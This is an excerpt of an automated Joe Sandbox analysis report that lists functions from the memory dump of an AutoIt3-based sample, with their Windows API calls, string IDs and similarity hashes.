                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ContainedObject
                                                          • String ID: AutoIt3GUI$Container$%X
                                                          • API String ID: 3565006973-2547061136
                                                          • Opcode ID: 22bc1626f50ca1b29af895cedec9c56c9cd984ceca9210cf12b32f9796cd2fcd
                                                          • Instruction ID: 558e4df864098ca199aff7d27457b353e2f29803952b12315f47efb173b61d3b
                                                          • Opcode Fuzzy Hash: 22bc1626f50ca1b29af895cedec9c56c9cd984ceca9210cf12b32f9796cd2fcd
                                                          • Instruction Fuzzy Hash: A5913B70600605AFEB14DF64C884BAABBF5FF49714F24896DF94ACB291EB71E841CB50
                                                          Function 00547530 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 231COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00582C7C,?), ref: 005476EA
                                                          • CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00582C7C,?), ref: 00547702
                                                          • CLSIDFromProgID.OLE32(?,?,00000000,0057FB80,000000FF,?,00000000,00000800,00000000,?,00582C7C,?), ref: 00547727
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: FromProg$FreeTask
                                                          • String ID: ,,X
                                                          • API String ID: 3873279438-2459423998
                                                          • Opcode ID: 97d650b1c8242c6fd614adb2c314b7196ba7fdc04a8b22c6facaf3ea0b88387b
                                                          • Instruction ID: 3ceb478528e2aa38c651c02efcdc25967e69ccb1dc9ebf2261fd7da50909495b
                                                          • Opcode Fuzzy Hash: 97d650b1c8242c6fd614adb2c314b7196ba7fdc04a8b22c6facaf3ea0b88387b
                                                          • Instruction Fuzzy Hash: 4F81EE75A00109EFCB04DFA4C984EEEBBB9FF89319F204559F505AB250DB71AE46CB60
                                                          Function 00552A96 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 195windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00552BB6
                                                          • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00552C69
                                                          • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00552C97
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ItemMenu$Info$Default
                                                          • String ID: 0
                                                          • API String ID: 1306138088-4108050209
                                                          • Opcode ID: 453ab006f5cd2167c10ed3fb73d12a87af72d378aeb960ab97aef79b4d445234
                                                          • Instruction ID: 6c8d27216018f21497d76884bf82d50ff3305ad3972b05cdeb9d048e01355754
                                                          • Opcode Fuzzy Hash: 453ab006f5cd2167c10ed3fb73d12a87af72d378aeb960ab97aef79b4d445234
                                                          • Instruction Fuzzy Hash: 1051CF71208301AAD7249F28D865A6F7FE8FF96321F040A2EFC95D6192DB70DD489B52
                                                          Function 0056F41E Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 177COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • ShellExecuteExW.SHELL32(?), ref: 0056F556
                                                          • GetProcessId.KERNEL32(00000000), ref: 0056F5CD
                                                          • CloseHandle.KERNEL32(00000000), ref: 0056F5FC
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CloseExecuteHandleProcessShell
                                                          • String ID: @
                                                          • API String ID: 1279613386-2766056989
                                                          • Opcode ID: 478d7380da054b12597a8c318d456821a02afa65e1c9e77c49af584e38b1d374
                                                          • Instruction ID: f07a0b762e08e0cfeb76e921f2312ce3f385d55a51c3fd802999f831d33cb26f
                                                          • Opcode Fuzzy Hash: 478d7380da054b12597a8c318d456821a02afa65e1c9e77c49af584e38b1d374
                                                          • Instruction Fuzzy Hash: 6161AC71E006199FCF14EFA5D485AAEBBB5FF48314F14806AE81AAB351CB34AD41CB94
                                                          Function 005497F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 005514BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00549296,?,?,00000034,00000800,?,00000034), ref: 005514E6
                                                          • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0054983F
                                                            • Part of subcall function 00551487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,005492C5,?,?,00000800,?,00001073,00000000,?,?), ref: 005514B1
                                                            • Part of subcall function 005513DE: GetWindowThreadProcessId.USER32(?,?), ref: 00551409
                                                            • Part of subcall function 005513DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,0054925A,00000034,?,?,00001004,00000000,00000000), ref: 00551419
                                                            • Part of subcall function 005513DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,0054925A,00000034,?,?,00001004,00000000,00000000), ref: 0055142F
                                                          • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 005498AC
                                                          • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 005498F9
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                          • String ID: @
                                                          • API String ID: 4150878124-2766056989
                                                          • Opcode ID: 70894a366a8cf0cdebf66a15def9defc90067b71c44cd23cc42d7ecdbc484988
                                                          • Instruction ID: 4f4b541be1d1cb229a4b193d81bd9d2d8c8f5f06270a0acef36897b2f87b67e3
                                                          • Opcode Fuzzy Hash: 70894a366a8cf0cdebf66a15def9defc90067b71c44cd23cc42d7ecdbc484988
                                                          • Instruction Fuzzy Hash: 92414F76900119BEDF10DFA4CD56ADEBFB8FB49700F004159F945B7181DA716E89CBA0
                                                          Function 00552753 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 005527DC
                                                          • DeleteMenu.USER32(?,00000007,00000000), ref: 00552822
                                                          • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,005B5890,00000000), ref: 0055286B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Menu$Delete$InfoItem
                                                          • String ID: 0
                                                          • API String ID: 135850232-4108050209
                                                          • Opcode ID: 47ff87a9fc7b5e3a4c4d9ec71a41862ac3811e92600f137194b53c2ad2ff34b6
                                                          • Instruction ID: 8e46f5babd7f15f08fafd32379640f8c5246bba19eade73c5323948e94e911f0
                                                          • Opcode Fuzzy Hash: 47ff87a9fc7b5e3a4c4d9ec71a41862ac3811e92600f137194b53c2ad2ff34b6
                                                          • Instruction Fuzzy Hash: 6441BF702043429FD720DF64D894B2ABFE8FF86315F04492EF9A597291D730E809CB52
                                                          Function 00553671 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111filestringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 0055466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00553697,?), ref: 0055468B
                                                            • Part of subcall function 0055466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00553697,?), ref: 005546A4
                                                          • lstrcmpiW.KERNEL32(?,?), ref: 005536B7
                                                          • MoveFileW.KERNEL32(?,?), ref: 005536EB
                                                          • SHFileOperationW.SHELL32(?), ref: 0055379F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: FileFullNamePath$MoveOperationlstrcmpi
                                                          • String ID: \*.*
                                                          • API String ID: 67141772-1173974218
                                                          • Opcode ID: b55d946e15ec47b78bf032d65a3ba3b76e31f008e2d022b228a1f273ec9516e0
                                                          • Instruction ID: 2a8d40076f35a5255746e83f32bc79cdaf220f275b6b9d008a8cd8378275fce1
                                                          • Opcode Fuzzy Hash: b55d946e15ec47b78bf032d65a3ba3b76e31f008e2d022b228a1f273ec9516e0
                                                          • Instruction Fuzzy Hash: C7418E71508345AAD752EF64D4559DFBBE8FF89384F00082FB88AC3251EA34D68DCB56
                                                          Function 00577946 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0057F910,00000000,?,?,?,?), ref: 005779DF
                                                          • GetWindowLongW.USER32 ref: 005779FC
                                                          • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00577A0C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$Long
                                                          • String ID: SysTreeView32
                                                          • API String ID: 847901565-1698111956
                                                          • Opcode ID: 8fe6056744bf6c6f05a24cd19fde7b71d570c4304a33fde939612bb69f7f18df
                                                          • Instruction ID: d696e6b522c037282ac5c6ca8412a3041076120863f2b09009302c0f4eb417da
                                                          • Opcode Fuzzy Hash: 8fe6056744bf6c6f05a24cd19fde7b71d570c4304a33fde939612bb69f7f18df
                                                          • Instruction Fuzzy Hash: C531C33120520AAFDB118E38EC45BEA7BA9FB49324F208725F979D31E0D731ED51AB50
                                                          Function 005773D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00577461
                                                          • SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00577475
                                                          • SendMessageW.USER32(?,00001002,00000000,?), ref: 00577499
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window
                                                          • String ID: SysMonthCal32
                                                          • API String ID: 2326795674-1439706946
                                                          • Opcode ID: b1cb47e882f66ba24a11db39c1d66831f05ba92d74d6f57fa17320fc1e1d4bcc
                                                          • Instruction ID: 7d6c3322973cb94bd8f17cd3c6326085cf4659439879ea729bb739aae2720c23
                                                          • Opcode Fuzzy Hash: b1cb47e882f66ba24a11db39c1d66831f05ba92d74d6f57fa17320fc1e1d4bcc
                                                          • Instruction Fuzzy Hash: 9B21A03260021DABDF118E54EC46FEA3F6AFB4C724F114214FE196B190DA75A894ABA0
                                                          Function 00577B93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00577C4A
                                                          • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00577C58
                                                          • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00577C5F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$DestroyWindow
                                                          • String ID: msctls_updown32
                                                          • API String ID: 4014797782-2298589950
                                                          • Opcode ID: d8bdf769d97e40f504be31939dd63d2597eb8f6023d39f3025f5900c8f574b00
                                                          • Instruction ID: 08468c520928033a702d8e116cb9dcf38af2386829aca600f6f947fc0d805a3a
                                                          • Opcode Fuzzy Hash: d8bdf769d97e40f504be31939dd63d2597eb8f6023d39f3025f5900c8f574b00
                                                          • Instruction Fuzzy Hash: D3219FB1204109AFDB11DF14ECC5DA63BECFF5E354B104419FA089B2A1DB31EC01AB60
                                                          Function 00576CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00576D3B
                                                          • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00576D4B
                                                          • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00576D70
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$MoveWindow
                                                          • String ID: Listbox
                                                          • API String ID: 3315199576-2633736733
                                                          • Opcode ID: dea1e300b608ca7f98926027f83272064d03324449484c450d15c2022a3f9d8a
                                                          • Instruction ID: 812acfcd9b2cafa273d23c4391656c269db39b49c0635428e1eabaed46b60549
                                                          • Opcode Fuzzy Hash: dea1e300b608ca7f98926027f83272064d03324449484c450d15c2022a3f9d8a
                                                          • Instruction Fuzzy Hash: 02218332610118BFDF268F54EC45FBB3B7AFB89750F01C124F9499B1A0C6719C51ABA0
                                                          Function 0055AC40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetErrorMode.KERNEL32(00000001), ref: 0055AC54
                                                          • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0055ACA8
                                                          • SetErrorMode.KERNEL32(00000000,00000001,00000000,0057F910), ref: 0055ACFF
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ErrorMode$InformationVolume
                                                          • String ID: %lu
                                                          • API String ID: 2507767853-685833217
                                                          • Opcode ID: 1f6489e812b4f1177d68771b8cb4196f95d99accc44bcffced5f8d134ef42364
                                                          • Instruction ID: 067e6b7059cf4f953c3b54f1d0cdd79b241ab50fc6a18e398a91713e87f38331
                                                          • Opcode Fuzzy Hash: 1f6489e812b4f1177d68771b8cb4196f95d99accc44bcffced5f8d134ef42364
                                                          • Instruction Fuzzy Hash: 28217130A0010DAFCB10DF65DD45EEE7BB8FF89314B0040A9F9099B251DA31EE45DB21
                                                          Function 0057770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00577772
                                                          • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00577787
                                                          • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00577794
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend
                                                          • String ID: msctls_trackbar32
                                                          • API String ID: 3850602802-1010561917
                                                          • Opcode ID: d207690bd88761833122c9331f2666e91193452cbb0afc614540105169a75929
                                                          • Instruction ID: 4674167c000e08ff462d2cf9cbb416b9cbc08fecca07ba6618e78624eb7aef84
                                                          • Opcode Fuzzy Hash: d207690bd88761833122c9331f2666e91193452cbb0afc614540105169a75929
                                                          • Instruction Fuzzy Hash: CE110472204208BAEB145F65EC05FAB3B68FF88B54F018118F64596090D671A811EB20
                                                          Function 0057B635 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,005B6F20,005B6F64), ref: 0057B682
                                                          • CloseHandle.KERNEL32 ref: 0057B694
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CloseCreateHandleProcess
                                                          • String ID: o[$do[
                                                          • API String ID: 3712363035-2598502710
                                                          • Opcode ID: fcf43e98f46a37a7ab9e310c68a977ddf82aa4c67a0aa7561ff3906fbd5d5cac
                                                          • Instruction ID: 53a9c1736a903a6254965d7e04b70ba2893a24fb1d062995d8640cc2d9f029c2
                                                          • Opcode Fuzzy Hash: fcf43e98f46a37a7ab9e310c68a977ddf82aa4c67a0aa7561ff3906fbd5d5cac
                                                          • Instruction Fuzzy Hash: 73F05EB25403007AF3106B61BC0AFBB3E9CFB18395F004420FA0CE6196D7796C54E7A8
                                                          Function 0051306B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,005130AA,00000000,?,00519CBE,000000FF,0000001E,005AA1A8,00000008,00519C22,00000000,00000000), ref: 0051307A
                                                          • GetProcAddress.KERNEL32(?,CorExitProcess), ref: 0051308C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: AddressHandleModuleProc
                                                          • String ID: CorExitProcess$mscoree.dll
                                                          • API String ID: 1646373207-1276376045
                                                          • Opcode ID: e3a8e857eddfad12e32f3ed5818344b015aa4a789099edb7e2ac007ecb1b13cc
                                                          • Instruction ID: 4fc738c4255085b215b09a453a37cb58369e52e55be01d2bff12b798aef47566
                                                          • Opcode Fuzzy Hash: e3a8e857eddfad12e32f3ed5818344b015aa4a789099edb7e2ac007ecb1b13cc
                                                          • Instruction Fuzzy Hash: B1D01230244308BBEB109FA1EC19F9A7FACBF04752F404064BC0DE1150EB619A54A760
                                                          Function 004F4C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadLibraryA.KERNEL32(kernel32.dll,?,004F4BD0,?,004F4DEF,?,005B52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 004F4C11
                                                          • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 004F4C23
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
